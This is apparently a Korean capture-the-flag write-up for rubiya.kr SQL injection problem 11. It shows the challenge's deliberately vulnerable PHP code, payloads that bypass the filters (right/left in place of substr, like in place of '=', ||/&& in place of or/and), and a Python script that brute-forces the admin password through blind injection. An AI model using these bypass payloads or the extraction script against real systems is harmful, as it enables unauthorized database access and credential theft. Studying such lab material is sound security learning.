rubiya.kr 11번.

http://rubiya.kr/sqli/prob11.php

<?php 
  include "./dbconn.php"; 
  include "./solve.php"; 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob11 where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob11 where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve(); 
  highlight_file(__FILE__); 
?>

or, and, substr(, = 이 필터링된 블라인드 인젝션.

substr은 right,left로 우회, =은 like로 우회.

http://rubiya.kr/sqli/prob11.php?pw=a%27%20||%20ascii(right(left(id,1),1))%20like%2097%20%26%26%20%271%27%20like%20%271

query : select id from prob11 where id='guest' and pw='a' || ascii(right(left(id,1),1)) like 97 && '1' like '1'

제대로 hello admin이 나오는걸 확인. pw 길이도 확인. 

http://rubiya.kr/sqli/prob11.php?pw=a%27%20||%20length(pw)%20like%208%20%26%26%20%271%27%20like%20%271

query : select id from prob11 where id='guest' and pw='a' || length(pw) like 8 && '1' like '1'

길이 8 확인. 

import urllib,urllib2
# -*- coding: euc-kr -*-
answer = ''
for i in range(1,9):
    for j in range(32,127):
        print j
        req = urllib2.Request('http://rubiya.kr/sqli/prob11.php?pw=a%27%20||%20ascii(right(left(pw,'+str(i)+'),1))%20like%20'+str(j)+'%26%26%20%271') 
        res = urllib2.urlopen(req) 
        if res.read().find('Hello admin') != -1:
            print i,':',chr(j)
            answer += chr(j)
            break
print answer